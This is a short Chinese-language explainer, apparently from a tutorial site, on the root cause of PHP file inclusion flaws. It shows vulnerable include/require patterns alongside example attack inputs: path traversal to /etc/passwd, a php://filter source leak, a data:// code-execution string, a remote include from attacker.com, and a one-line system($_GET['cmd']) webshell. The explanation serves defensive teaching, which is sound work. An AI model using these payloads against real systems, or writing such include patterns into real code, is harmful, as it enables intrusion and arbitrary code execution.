php文件包含漏洞的根本原因是开发者将未校验的用户输入直接传给include/require等函数,导致攻击者可操纵文件路径执行任意代码或读取敏感文件。

PHP 出现文件包含漏洞,根本原因不是语言本身有缺陷,而是开发者把用户可控的输入直接传给了 include、require 及其 _once 变体这类函数,且未做有效校验。
这些函数的设计初衷是复用代码——读取指定路径的文件,按 PHP 语法解析执行。一旦路径来自 $_GET、$_POST、$_COOKIE 等外部输入,攻击者就能操纵它指向任意文件,从而触发非预期行为。
关键点在于:函数不区分“该不该执行”,只负责“能不能读到”
哪怕你包含的是 .txt、.log、.jpg 文件,只要被 include 加载,PHP 就会尝试把它当 PHP 代码执行。如果文件里混有可执行片段(比如日志中记录了恶意 User-Agent、图片马里嵌入了 <?php system($_GET['cmd']); ?>),就会被触发。
常见高危写法包括:
include($_GET['page'] . '.php');require_once 'modules/' . $_POST['module'] . '.inc';include $config_dir . '/' . $_COOKIE['lang'] . '.php';
这类代码隐含一个危险假设:“用户只会传合法值”。但现实中,攻击者会传:
-
../../../etc/passwd(路径穿越读系统文件) -
php://filter/convert.base64-encode/resource=index.php(读源码并 Base64 编码泄露) -
data://text/plain,<?php phpinfo(); ?>(直接执行代码) -
http://attacker.com/shell.txt(远程包含,需allow_url_include=On)
漏洞之所以普遍,是因为动态加载页面、多语言切换、插件机制等业务需求,天然需要“根据参数选文件”。但很多项目跳过了白名单映射、路径规范化、协议过滤等必要环节,让信任边界彻底失守。
本质上,这不是 PHP 的错,而是把“门锁”装在了本该由程序逻辑控制的位置,却把“钥匙”交到了用户手上。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











